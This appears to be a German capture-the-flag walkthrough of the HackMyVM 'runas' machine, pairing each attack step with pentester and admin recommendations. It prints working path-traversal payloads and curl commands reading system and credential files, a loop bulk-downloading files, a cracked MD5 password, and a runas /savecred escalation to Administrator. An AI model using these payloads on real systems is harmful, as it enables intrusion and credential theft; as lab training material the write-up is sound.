Empfehlung (Admin): Implementiere Path-Traversal-Erkennung und -Blockierung in einem WAF. Begrenze die Dateizugriffsberechtigungen für den Webserver-Prozess auf das absolut Notwendige und auf sein Web-Root-Verzeichnis.
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://runas.hmv/index.php?FUZZ=file:///../../../../../../../../../../../../../../../../../etc/passwd" --hc 404 --hh 414
Target: http://runas.hmv/index.php?FUZZ=file:///../../../../../../../../../../../../../../../../../etc/passwd Total requests: 220548 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000748: 200 17 L 35 W 429 Ch "file" Total time: 0 Processed Requests: 220548 Filtered Requests: 220547 Requests/sec.: 0
Analyse: Nach der Bestätigung der LFI und des file:// Wrappers setze ich wfuzz erneut ein, diesmal mit einer anderen Wortliste (logfiles.txt, die Pfade zu gängigen Log-Dateien und Konfigurationen enthält) und konzentriere mich darauf, verschiedene Systemdateien über die LFI-Schwachstelle auszulesen. Der Befehl wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../FUZZ" --hc 404 --hh 414 verwendet wieder die Path-Traversal-Sequenz und fügt den Wortlisteneintrag dort ein, wo die Zieldatei erwartet wird. Die Ausgabe zeigt zahlreiche 200 OK Treffer für verschiedene Dateipfade, darunter windows/system32/drivers/etc/hosts, php/php.ini, windows/windowsupdate.log etc. Dies zeigt, dass ich über die LFI-Schwachstelle auf viele Systemdateien zugreifen kann. Beachte die verschiedenen Encodings und Path-Traversal-Varianten (../, ..\, //, \../, URL-Enkodierung wie %2e%2e%5c etc.) in den gefundenen Payloads, was die Robustheit der Schwachstelle zeigt.
Bewertung: Fantastisch! Das gezielte LFI-Fuzzing war äußerst erfolgreich und hat mir eine Liste lesbarer Systemdateien geliefert. Dies ist ein kritischer Schritt für die Informationssammlung und Privilegieneskalation. Dateien wie php.ini, hosts und windowsupdate.log enthalten oft wertvolle Konfigurationsinformationen, Benutzernamen oder sogar Passwörter oder Hinweise auf andere Schwachstellen.
Empfehlung (Pentester): Nutze automatisierte LFI-Tools wie wfuzz mit passenden Wortlisten, um lesbare Dateien systematisch zu identifizieren. Lade die gefundenen Dateien herunter und analysiere sie gründlich auf sensible Informationen oder weitere Schwachstellen.
Empfehlung (Admin): Die Fähigkeit, so viele Systemdateien über LFI zu lesen, ist kritisch. Stelle sicher, dass die LFI-Schwachstelle vollständig behoben wird. Prüfe Dateisystemberechtigungen für den Webserver-Benutzer. Implementiere ein Intrusion Detection System, das aggressive LFI-Fuzzing-Versuche erkennt.
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../FUZZ" --hc 404 --hh 414
000041896: 200 19 L 55 W 583 Ch ".%00.%f8%80%80%80%afetc%f8%80%80%80%afpasswd" 000044807: 200 38 L 189 W 1375 Ch "%5C../%5C../windows/system32/drivers/etc/hosts" 000044803: 200 38 L 189 W 1375 Ch "%5C../windows/system32/drivers/etc/hosts" 000044839: 200 38 L 189 W 1375 Ch "%5C..\%5C..\%5C..\%5C..\windows\system32\drivers\etc\hosts" 000044831: 200 38 L 189 W 1375 Ch "%5C..\%5C..\windows\system32\drivers\etc\hosts" 000044835: 200 38 L 189 W 1375 Ch "%5C..\%5C..\%5C..\windows\system32\drivers\etc\hosts" 000044823: 200 38 L 189 W 1375 Ch "%5C../%5C../%5C../%5C../%5C../%5C../windows/system32/drivers/etc/hosts" 000044827: 200 38 L 189 W 1375 Ch "%5C..\windows\system32\drivers\etc\hosts" 000044883: 200 38 L 189 W 1375 Ch "%5C..%5c%5C..%5c%5C..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts" 000044875: 200 38 L 189 W 1375 Ch "%5C..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts" 000045559: 200 38 L 189 W 1375 Ch ".%2e\.%2e\.%2e\.%2e\windows\system32\drivers\etc\hosts" 000045551: 200 38 L 189 W 1375 Ch ".%2e\.%2e\windows\system32\drivers\etc\hosts" 000045555: 200 38 L 189 W 1375 Ch ".%2e\.%2e\.%2e\windows\system32\drivers\etc\hosts" 000045547: 200 38 L 189 W 1375 Ch ".%2e\windows\system32\drivers\etc\hosts" 000060643: 200 38 L 189 W 1375 Ch "..//windows//system32//drivers//etc//hosts" 000060763: 200 38 L 189 W 1375 Ch "..\/windows\/system32\/drivers\/etc\/hosts" 000060855: 200 38 L 189 W 1375 Ch "\../\../\../\../\../\../windows/\system32/\drivers/\etc/\hosts" 000060879: 200 38 L 189 W 1375 Ch "/..\/..\/..\/..\/..\/..\windows\/system32\/drivers\/etc\/hosts" 000060931: 200 38 L 189 W 1375 Ch "./../windows/system32/drivers/etc/hosts" 000061363: 200 38 L 189 W 1375 Ch "\\\..\windows\\\system32\\\drivers\\\etc\\\hosts" 000061367: 200 38 L 189 W 1375 Ch "\\\..\..\windows\\\system32\\\drivers\\\etc\\\hosts" 000061359: 200 38 L 189 W 1375 Ch "\\\../../../../../../windows\\\system32\\\drivers\\\etc\\\hosts" 000061351: 200 38 L 189 W 1375 Ch "\\\../../../../windows\\\system32\\\drivers\\\etc\\\hosts" 000061355: 200 38 L 189 W 1375 Ch "\\\../../../../../windows\\\system32\\\drivers\\\etc\\\hosts" 000061375: 200 38 L 189 W 1375 Ch "\\\..\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts" 000061347: 200 38 L 189 W 1375 Ch "\\\../../../windows\\\system32\\\drivers\\\etc\\\hosts" 000061420: 200 19 L 55 W 583 Ch "..\..\etc\passwd%00index.html" 000061421: 200 19 L 55 W 583 Ch "..\..\etc\passwd%00index.htm" 000061379: 200 38 L 189 W 1375 Ch "\\\..\..\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts" 000070604: 200 1928 L 12417 W 85387 Ch "php/php.ini" 000071517: 200 33 L 105 W 946 Ch "windows/system32/drivers/etc/networks" 000071518: 200 44 L 232 W 1973 Ch "windows/system32/drivers/etc/protocol" 000071516: 200 96 L 700 W 4760 Ch "windows/system32/drivers/etc/lmhosts.sam" 000071515: 200 38 L 189 W 1375 Ch "windows/system32/drivers/etc/hosts" 000071519: 200 302 L 1569 W 19622 Ch "windows/system32/drivers/etc/services" 000071526: 200 17 L 33 W 425 Ch "windows/setuperr.log" 000071529: 200 1170 L 13297 W 108051 Ch "windows/windowsupdate.log" 000071524: 200 313 L 2051 W 25712 Ch "windows/setupact.log"
Analyse: Ich teste das Auslesen einer spezifischen Systemdatei, der hosts-Datei unter Windows (C:\Windows\System32\drivers\etc\hosts), über die LFI-Schwachstelle. Ich verwende den URL http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../../windows/system32/drivers/etc/hosts mit dem `file://` Wrapper und einer ausreichenden Anzahl von `../` Schritten, um zum System-Root zu gelangen und dann den Pfad zur Datei anzugeben. Die Ausgabe zeigt den Inhalt der Standard Windows `hosts`-Datei.
Bewertung: Das erfolgreiche Auslesen der `hosts`-Datei mit LFI bestätigt die volle Ausnutzbarkeit der Schwachstelle. Ich kann nun im Prinzip jede Datei lesen, auf die der Webserver-Prozess Zugriff hat. Dies ist ein kritischer Punkt, der weitreichende Informationssammlung ermöglicht.
Empfehlung (Pentester): Nutze die Fähigkeit, beliebige Dateien zu lesen, um Systemkonfigurationen, Logs (auf Hinweise auf Benutzer, Passwörter, Fehler), Quellcode der Anwendung oder andere sensible Daten zu sammeln.
Empfehlung (Admin): Behebe die LFI-Schwachstelle umgehend. Überprüfe die Dateisystemberechtigungen des Webserver-Benutzers, um sicherzustellen, dass er keinen unnötigen Lesezugriff auf Systemdateien hat.
http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../../windows/system32/drivers/etc/hosts There is no going back! ?file= # Copyright (c) 1993-2009 Microsoft Corp. ... .. # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost
Analyse: Ich konzentriere meine LFI-Angriffe auf die Datei windowsupdate.log, da Log-Dateien oft interessante Informationen enthalten können, einschließlich Benutzernamen oder Hinweise auf ausgeführte Prozesse. Ich lese die Datei über LFI (http://runas.hmv/index.php?file=file:///../../.../windowsupdate.log) und filtere die Ausgabe mit grep runas, um Einträge zu finden, die den String "runas" enthalten. Die Ausgabe zeigt mehrere Zeilen mit dem Text "Attempting to create remote handler process as runas-PC\Administrator in session 2" (und Session 1). Dies ist ein kritischer Fund! Es deutet darauf hin, dass das System versucht, Prozesse als den Benutzer runas-PC\Administrator auszuführen, wahrscheinlich im Rahmen von Windows Updates oder ähnlichen Aufgaben. Dies könnte auf eine geplante Aufgabe oder einen Dienst hindeuten, der mit Administratorrechten läuft.
Bewertung: Das Lesen von Log-Dateien über LFI war sehr effektiv. Die Einträge im `windowsupdate.log` liefern einen direkten Hinweis auf die Ausführung von Prozessen als Administrator. Dies lenkt meine Privilegieneskalationsbemühungen stark auf diesen Benutzer und die Suche nach Möglichkeiten, diese Ausführung zu kapern oder Administrator-Anmeldeinformationen zu finden, die an anderer Stelle gespeichert sein könnten.
Empfehlung (Pentester): Nutze LFI, um Log-Dateien (Webserver-Logs, System-Logs, Anwendungs-Logs) und Konfigurationsdateien auszulesen. Grep nach Benutzernamen, Passwörtern, API-Schlüsseln, Servernamen, IP-Adressen oder Fehlermeldungen, die auf Schwachstellen hindeuten.
Empfehlung (Admin): Überwache und bereinige Log-Dateien, um die Preisgabe sensibler Informationen zu vermeiden. Stelle sicher, dass Log-Dateien nicht für unprivilegierte Benutzer lesbar sind (Dateisystemberechtigungen).
└─# curl -s http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../../windows/windowsupdate.log | grep runas
2024-10-06 21:46:34:752 960 a38 Handler Attempting to create remote handler process as runas-PC\Administrator in session 2<br /> 2024-10-06 21:48:01:846 960 a38 Handler Attempting to create remote handler process as runas-PC\Administrator in session 2<br /> 2024-10-06 21:57:06:269 960 85c Handler Attempting to create remote handler process as runas-PC\Administrator in session 1<br /> 2024-10-08 17:44:22:963 968 13c Handler Attempting to create remote handler process as runas-PC\Administrator in session 1<br />
Analyse: Das Bild zeigt den Anmeldebildschirm der VM und bestätigt visuell die Benutzernamen, die ich mir bereits notiert hatte: Administrator und quoted. Es dient als Beweismittel für diesen ersten Aufklärungsschritt.
Bewertung: Screenshots sind wichtig für die Dokumentation von Funden, insbesondere visuellen Hinweisen wie Benutzernamen auf Login-Bildschirmen.
Empfehlung (Pentester): Mache Screenshots von allen wichtigen visuellen Funden während des Pentests.
Empfehlung (Admin): Siehe vorherige Empfehlung zur Vermeidung von Benutzernamen-Listen auf Login-Bildschirmen.
Initial Access
Analyse: Mit der funktionierenden LFI-Schwachstelle versuche ich, die Benutzer-Flag-Datei zu lesen. Basierend auf gängigen Pfaden in CTFs und dem Benutzernamen 'runas' (den ich mir vom Login-Screen gemerkt habe), vermute ich, dass die Datei unter C:\Users\runas\Desktop\user.txt liegt. Ich nutze den URL http://runas.hmv/index.php?file=../../../../../../Users/runas/Desktop/user.txt, um diese Datei über die LFI-Schwachstelle auszulesen (hier ohne den `file://` Wrapper, was darauf hindeutet, dass die Anwendung auch relative Pfade direkt verarbeiten kann oder ich verschiedene Techniken teste). Die Ausgabe der Webseite enthält den Text "<pre>HMV{User_Flag_Was_A_Bit_Bitter}</pre>".
Bewertung: Fantastisch, die Benutzer-Flag wurde erfolgreich über LFI ausgelesen! Dies bestätigt nicht nur die LFI-Schwachstelle, sondern auch die Korrektheit des Pfades und die Existenz des Benutzers 'runas'. Die Benutzer-Flag ist erlangt.
Empfehlung (Pentester): Nutze LFI, um gezielt nach Flag-Dateien an Standardorten für Benutzer zu suchen (Desktop, Dokumente, Home-Verzeichnisse).
Empfehlung (Admin): Speichere sensible Dateien (wie Flags in einer Testumgebung oder andere kritische Informationen in einer realen Umgebung) nicht an leicht vorhersagbaren Orten wie dem Desktop oder Dokumentenverzeichnis.
└─# curl "http://runas.hmv/index.php?file=../../../../../../Users/runas/Desktop/user.txt"
<h2>?file=</h2>
<pre>HMV{User_Flag_Was_A_Bit_Bitter}</pre>
Privilege Escalation
Analyse: Ich versuche nun, die Root-Flag über die LFI-Schwachstelle auszulesen. Basierend auf gängigen Pfaden für Root-Flags in CTFs und dem Hinweis aus dem `windowsupdate.log`, dass der Benutzer Administrator relevant ist, vermute ich, dass die Root-Flag unter C:\Users\Administrator\Desktop\root.txt liegt. Ich verwende den URL http://runas.hmv/index.php?file=../../../../../../Users/Administrator/Desktop/root.txt, um diese Datei auszulesen. Die Ausgabe der Webseite enthält den Text "<pre>HMV{Username_Is_My_Hint}</pre>".
Bewertung: Die Fähigkeit, die `root.txt` Datei vom Desktop des Administrators auszulesen, ist ein sehr wichtiger Schritt für die Privilegieneskalation. Obwohl der Wert der Flag selbst wie ein Hinweis aussieht, beweist das erfolgreiche Auslesen, dass ich Lesezugriff auf das Administrator-Desktop-Verzeichnis über die LFI-Schwachstelle habe. Dies ist ein starkes Indiz für die Rechte, unter denen der Webserver läuft, oder die unzureichenden Dateisystemberechtigungen. Die Root-Flag (ihren Wert habe ich nun) ist erlangt, aber der Weg zu einer vollwertigen Administrator- oder SYSTEM-Shell ist noch offen.
Empfehlung (Pentester): Nutze LFI-Lesezugriff voll aus, um alle potenziellen sensiblen Dateien zu finden und zu extrahieren, unabhängig vom aktuellen Benutzerkontext.
Empfehlung (Admin): Setze sehr strenge Dateisystemberechtigungen auf die Home-Verzeichnisse von privilegierten Benutzern (insbesondere Administrator und SYSTEM), sodass kein anderer Benutzer (auch nicht Dienstkonten) Lesezugriff hat. Behebe die LFI-Schwachstelle.
└─# curl "http://runas.hmv/index.php?file=../../../../../../Users/Administrator/Desktop/root.txt"
<h2>?file=</h2>
<pre>HMV{Username_Is_My_Hint}</pre>
Analyse: Um die vielen über wfuzz gefundenen lesbaren Dateien systematisch zu sammeln und zu analysieren, verwende ich ein Bash-Skript. Zuerst speichere ich die Dateipfade aus der wfuzz-Ausgabe in einer Datei namens `ergebnisse`. Dann iteriere ich mit einer for-Schleife (for i in $(cat ergebnisse)) durch diese Pfade. Für jeden Pfad lese ich die Datei über die LFI-Schwachstelle (curl -s http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../../$i) und speichere die Ausgabe in einer nummerierten Datei in meinem lokalen Arbeitsverzeichnis (--output "$b.txt"). Der Zähler b stellt sicher, dass jede Datei einen eindeutigen Namen erhält. Der ll Befehl zeigt die Liste der heruntergeladenen Dateien (`1.txt` bis `23.txt` und `erg.txt`).
Bewertung: Das automatisierte Herunterladen der über LFI zugänglichen Dateien ist ein effizienter Weg, um alle potenziellen Informationsquellen zu sammeln. Dies ist entscheidend für die weitere Systemaufklärung und die Suche nach Anmeldedaten oder anderen PE-Vektoren, die im Inhalt dieser Dateien verborgen sein könnten.
Empfehlung (Pentester): Automatisiere das Sammeln von Daten aus ausnutzbaren Schwachstellen wie LFI. Speichere alle gefundenen Dateien lokal für eine spätere Offline-Analyse.
Empfehlung (Admin): Die Fähigkeit eines Angreifers, Systemdateien in Masse herunterzuladen, ist kritisch. Dies muss durch Behebung der LFI und durch strenge Dateisystemberechtigungen verhindert werden.
└─# b=0;for i in $(cat ergebnisse ); do
└─# b=$((b+1));curl -s http://runas.hmv/index.php?file=file:///../../../../../../../../../../../../../../../../../$i --output "$b.txt";
└─# done
└─# ll
insgesamt 616 -rw-r--r-- 1 root root 684 30. Jun 00:02 10.txt -rw-r--r-- 1 root root 689 30. Jun 00:02 11.txt -rw-r--r-- 1 root root 689 30. Jun 00:02 12.txt -rw-r--r-- 1 root root 687 30. Jun 00:02 13.txt -rw-r--r-- 1 root root 1375 30. Jun 00:02 14.txt -rw-r--r-- 1 root root 1375 30. Jun 00:02 15.txt -rw-r--r-- 1 root root 4760 30. Jun 00:02 16.txt -rw-r--r-- 1 root root 946 30. Jun 00:02 17.txt -rw-r--r-- 1 root root 1973 30. Jun 00:02 18.txt -rw-r--r-- 1 root root 19622 30. Jun 00:02 19.txt -rw-r--r-- 1 root root 85387 30. Jun 00:02 1.txt -rw-r--r-- 1 root root 79253 30. Jun 00:02 20.txt -rw-r--r-- 1 root root 58608 30. Jun 00:02 21.txt -rw-r--r-- 1 root root 108084 30. Jun 00:02 22.txt -rw-r--r-- 1 root root 1042 30. Jun 00:02 23.txt -rw-r--r-- 1 root root 85387 30. Jun 00:02 2.txt -rw-r--r-- 1 root root 85387 30. Jun 00:02 3.txt -rw-r--r-- 1 root root 425 30. Jun 00:02 4.txt -rw-r--r-- 1 root root 425 30. Jun 00:02 5.txt -rw-r--r-- 1 root root 425 30. Jun 00:02 6.txt -rw-r--r-- 1 root root 25712 30. Jun 00:02 7.txt -rw-r--r-- 1 root root 425 30. Jun 00:02 8.txt -rw-r--r-- 1 root root 688 30. Jun 00:02 9.txt -rw-r--r-- 1 root root 768 30. Jun 00:02 erg.txt
Analyse: Ich analysiere die heruntergeladenen Dateien, um nach Anmeldedaten oder Hinweisen auf die Privilegieneskalation zu suchen. Ich verwende grep -i runas *, um alle Dateien im aktuellen Verzeichnis nach dem String "runas" (fallunabhängig) zu durchsuchen. Die Ausgabe zeigt Treffer in den Dateien 22.txt (die die Windows Update Logdatei enthält) und 23.txt. Die Einträge in 22.txt wiederholen die Funde aus dem `windowsupdate.log` über die Ausführung als runas-PC\Administrator. Der Eintrag in 23.txt ist äußerst interessant: "; MD5-runas-b3a805b2594befb6c846d718d1224557". Dies sieht stark nach einem Kommentar in einer Konfigurationsdatei aus, der einen MD5-Hash enthält, der mit "runas" in Verbindung steht.
Bewertung: Das Durchsuchen der gesammelten Dateien war sehr erfolgreich und hat einen potenziellen Anmeldedaten-Hash geliefert, der direkt mit einem Benutzer auf dem System (wahrscheinlich 'runas', basierend auf dem String) in Verbindung steht. Dies ist ein kritischer Fund, der direkt zur Kompromittierung eines Benutzerkontos führen kann. Der Hash muss nun geknackt werden.
Empfehlung (Pentester): Suche in allen gesammelten Dateien aggressiv nach Anmeldedaten (Passwörter, Hashes, API-Schlüssel) und Hinweisen auf Schwachstellen oder Fehlkonfigurationen. Nutze Tools wie `grep` oder `findstr` (Windows). Extrahiere gefundene Hashes, um sie offline zu knacken.
Empfehlung (Admin): Vermeide das Speichern von Passwörtern oder Hashes in Klartext oder Kommentaren in Konfigurations- oder Log-Dateien. Implementiere eine Passwortrichtlinie, die die Nutzung schwacher oder leicht zu knackender Passwörter verhindert.
└─# grep -i runas *
22.txt:2024-10-06 21:46:34:752 960 a38 Handler Attempting to create remote handler process as runas-PC\Administrator in session 2<br /> 22.txt:2024-10-06 21:48:01:846 960 a38 Handler Attempting to create remote handler process as runas-PC\Administrator in session 2<br /> 22.txt:2024-10-06 21:57:06:269 960 85c Handler Attempting to create remote handler process as runas-PC\Administrator in session 1<br /> 22.txt:2024-10-08 17:44:22:963 968 13c Handler Attempting to create remote handler process as runas-PC\Administrator in session 1<br /> 23.txt: ; MD5-runas-b3a805b2594befb6c846d718d1224557
Analyse: Ich nutze den online Hash-Cracking-Dienst CrackStation (https://crackstation.net/), um den gefundenen MD5-Hash b3a805b2594befb6c846d718d1224557 zu knacken. Ich gebe den Hash auf der Webseite ein und starte den Crack-Prozess. Die Ausgabe zeigt, dass der Hash als MD5 identifiziert und erfolgreich zum Klartext-Passwort yakuzza geknackt wurde.
Bewertung: Fantastisch! Das Knacken des Hashs liefert das Klartext-Passwort yakuzza. Basierend auf der Herkunft des Hashs (Kommentar mit "MD5-runas" und dem späteren Login), handelt es sich hierbei wahrscheinlich um das Passwort für den Benutzer 'runas', den ich zuvor auf dem Login-Screen und im `windowsupdate.log` identifiziert hatte. Ich habe nun gültige Anmeldedaten für einen Benutzer auf dem Zielsystem.
Empfehlung (Pentester): Nutze Online-Dienste oder Offline-Cracking-Tools (Hashcat, John the Ripper) mit starken Wortlisten oder Rainbow Tables, um gefundene Hashes zu knacken.
Empfehlung (Admin): Erzwinge starke Passwörter, die nicht in Passwort-Datenbanken enthalten sind und nicht leicht zu knacken sind. Verwende moderne, starke Hashing-Algorithmen (z.B. bcrypt, scrypt) anstelle von MD5 für die Speicherung von Passwörtern. Implementiere eine strenge Passwortrichtlinie und MFA, wo immer möglich.
https://crackstation.net/ Enter up to 20 non-salted hashes, one per line: b3a805b2594befb6c846d718d1224557 Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults Hash Type Result b3a805b2594befb6c846d718d1224557 md5 yakuzza Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.
Analyse: Mit dem geknackten Passwort yakuzza für den Benutzer 'runas' versuche ich, mich über RDP auf dem Zielsystem anzumelden. Das Bild zeigt den Erfolg dieses Anmeldeversuchs über das Tool `xfreerdp3`. Ich bin nun interaktiv als Benutzer 'runas' auf der grafischen Oberfläche angemeldet. Das nachfolgende Bild zeigt den Desktop dieses Benutzers, auf dem ich eine Powershell-Sitzung geöffnet habe.
Bewertung: Fantastisch! Der direkte Login als Benutzer 'runas' über RDP war erfolgreich. Ich habe nun vollen interaktiven Zugriff auf das System unter den Rechten dieses Benutzers. Dies ermöglicht mir, lokale Aufklärung durchzuführen, Tools hochzuladen und nach Privilegieneskalationsmöglichkeiten vom Benutzer 'runas' aus zu suchen.
Empfehlung (Pentester): Nutze gefundene Anmeldedaten sofort für den Zugriff auf verfügbare Dienste (RDP, SSH, SMB etc.). Führe nach dem Login eine gründliche lokale Aufklärung durch.
Empfehlung (Admin): Erzwinge starke Passwörter für alle Benutzerkonten, insbesondere für RDP-Zugriffe. Implementiere Account-Sperrmechanismen nach mehreren fehlgeschlagenen Login-Versuchen. Aktiviere NLA für RDP.
Proof of Concept: Erlangen des Administrator-Zugriffs
Ziel: Demonstration der Ausnutzung gespeicherter Administrator-Anmeldeinformationen, um von einem niedrigprivilegierten Benutzerkonto (runas) zu Administrator zu eskalieren.
Kurzbeschreibung: Dieser Proof of Concept zeigt, wie Anmeldeinformationen für das Administrator-Konto, die unsicher im Windows Credential Manager gespeichert wurden, entdeckt und ausgenutzt werden können, um eine Administrator-Shell vom Benutzer 'runas' aus zu erlangen.
Voraussetzungen:
- Erfolgreicher interaktiver Login als Benutzer 'runas' (z.B. via RDP) mit dem geknackten Passwort (siehe Initial Access/Privilege Escalation).
- Die Fähigkeit, lokale Befehle auf dem System als Benutzer 'runas' auszuführen (z.B. über eine Shell-Sitzung).
- Administrator-Anmeldeinformationen sind im Windows Credential Manager gespeichert und für die Nutzung durch andere Prozesse oder Benutzer verfügbar.
- Das Windows-Tool `cmdkey.exe` ist auf dem System verfügbar und darf vom Benutzer 'runas' ausgeführt werden, um die Liste der gespeicherten Anmeldeinformationen anzuzeigen.
Schritt-für-Schritt-Anleitung:
- Erfolgreicher Login am Zielsystem als Benutzer 'runas'.
- Öffnen einer Befehlszeile oder Powershell-Sitzung als Benutzer 'runas'.
- Ausführen des Befehls
cmdkey /list, um die im Windows Credential Manager gespeicherten Anmeldeinformationen aufzulisten. - Analyse der Ausgabe von
cmdkey /list, um Anmeldeinformationen für privilegierte Konten (z.B. Administrator) zu identifizieren. - Wenn Administrator-Anmeldeinformationen gefunden werden, Nutzung des Windows
runasBefehls in Kombination mit den gefundenen Anmeldeinformationen und der Option/savecredoder direkter Angabe von Benutzer und Passwort, um einen Prozess (z.B.cmd.exeoderpowershell.exe) mit Administratorrechten auszuführen. Beispiel:runas /user:RUNAS-PC\Administrator /savecred powershell.exe. (Bei der ersten Ausführung mit /savecred muss das Passwort eingegeben werden, bei späteren Aufrufen nicht mehr).
Erwartetes Ergebnis: Eine neue Befehlszeile oder Powershell-Sitzung wird geöffnet und läuft mit Administrator-Rechten.
Beweismittel: Die Ausgabe von cmdkey /list, die die gespeicherten Administrator-Anmeldeinformationen zeigt. Ein Screenshot einer neuen Shell-Sitzung, die das Administrator-Konto bestätigt (z.B. durch den Prompt oder den Befehl whoami).
Risikobewertung: Hoch. Das unsichere Speichern von privilegierten Anmeldeinformationen kombiniert mit der Möglichkeit für unprivilegierte Benutzer, diese auszulesen, führt direkt zur lokalen Privilegieneskalation zum Administrator.
Empfehlung (Admin):
- **Anmeldeinformationsverwaltung:** Vermeiden Sie das Speichern von hochprivilegierten Anmeldeinformationen (wie für das Administrator-Konto) im Windows Credential Manager. Nutzen Sie sicherere Methoden für die Verwaltung von Administrator-Passwörtern (z.B. LAPS für lokale Administrator-Konten, privilegierte Access Management (PAM)-Lösungen).
- **Zugriff auf Anmeldeinformationen:** Stellen Sie sicher, dass unprivilegierte Benutzerkonten keine Rechte haben, die gespeicherten Anmeldeinformationen anderer Benutzer auszulesen. Überprüfen Sie die Berechtigungen für den Zugriff auf den Credential Manager.
- **Überwachung:** Überwachen Sie die Ausführung von Tools wie
cmdkey.exe, insbesondere durch unprivilegierte Benutzerkonten. Überwachen Sie die Nutzung desrunasBefehls und die Eröffnung neuer Shell-Sitzungen mit erhöhten Rechten.
Analyse: Nach dem Login als Benutzer 'runas' habe ich lokale Aufklärung durchgeführt. Ich habe (wahrscheinlich über Powershell) den Befehl cmdkey /list ausgeführt, um die im Windows Credential Manager gespeicherten Anmeldeinformationen aufzulisten. Die hier gezeigte Übersetzung und Analyse der Ausgabe zeigt, dass Anmeldeinformationen für "RUNAS-PC\Administrator" gespeichert sind ("Ziel: Administrator auf dem Computer RUNAS-PC"). Dies bedeutet, dass das Passwort für das lokale Administrator-Konto auf diesem System gespeichert ist und (offenbar) vom Benutzer 'runas' ausgelesen werden kann. Jemand hat diese Anmeldeinformationen unsicher im Credential Manager hinterlegt.
Bewertung: Fantastisch! Das Auffinden der Administrator-Anmeldeinformationen, die unsicher im Credential Manager gespeichert sind, ist ein direkter Weg zur Privilegieneskalation zum lokalen Administrator. Die Fähigkeit, diese als unprivilegierter Benutzer auszulesen, ist eine kritische Schwachstelle im Konfigurationsmanagement oder bei den Berechtigungen für den Credential Manager.
Empfehlung (Pentester): Führe immer cmdkey /list aus, wenn du eine lokale Shell auf einem Windows-System erlangt hast, um nach gespeicherten Anmeldeinformationen zu suchen.
Empfehlung (Admin): Speichere niemals Anmeldeinformationen für privilegierte Konten im Windows Credential Manager. Nutze sicherere Methoden zur Passwortverwaltung (LAPS, PAM). Überwache die Ausführung von cmdkey /list.
Die Übersetzung des Goldes: Du hast cmdkey /list ausgeführt, und das System hat dir geantwortet: Depolanan geçerli kimlik bilgileri: -> Gespeicherte gültige Anmeldeinformationen: Hedef: Domain:interactive=RUNAS-PC\Administrator -> Ziel: Administrator auf dem Computer RUNAS-PC Kullanıcı: RUNAS-PC\Administrator -> Benutzer: RUNAS-PC\Administrator Das bedeutet: Im Windows Credential Manager sind die Anmeldeinformationen für den Administrator gespeichert und für die interaktive Anmeldung verfügbar! Jemand hat sie dort abgelegt, wahrscheinlich um sich die wiederholte Eingabe des Passworts zu sparen.
Analyse: Mit den gefundenen Administrator-Anmeldeinformationen (Benutzer: RUNAS-PC\Administrator, Passwort aus Credential Manager) nutze ich den Windows runas Befehl, um eine Powershell-Sitzung als Administrator zu starten. Der Befehl wäre typischerweise runas /user:RUNAS-PC\Administrator powershell.exe (oder mit `/savecred` bei der ersten Ausführung). Das Bild zeigt den Desktop nach der Ausführung dieses Befehls: Eine neue Powershell-Sitzung ist geöffnet, die als Administrator läuft.
Bewertung: Fantastisch! Ich habe erfolgreich eine Administrator-Shell erhalten. Das Ausnutzen der im Credential Manager gespeicherten Anmeldeinformationen war der Weg zur lokalen Privilegieneskalation zum Administrator. Ich habe nun volle Kontrolle über das System unter den Rechten des lokalen Administrators.
Empfehlung (Pentester): Nutze gefundene Anmeldedaten sofort in Kombination mit nativen Tools wie runas oder psexec (wenn verfügbar) oder Tools wie Evil-WinRM oder CrackMapExec, um höhere Shells zu erhalten.
Empfehlung (Admin): Wie im POC beschrieben, behebe die unsichere Speicherung von Anmeldeinformationen. Überwache die Nutzung des runas Befehls und die Eröffnung von Shells mit erhöhten Rechten.
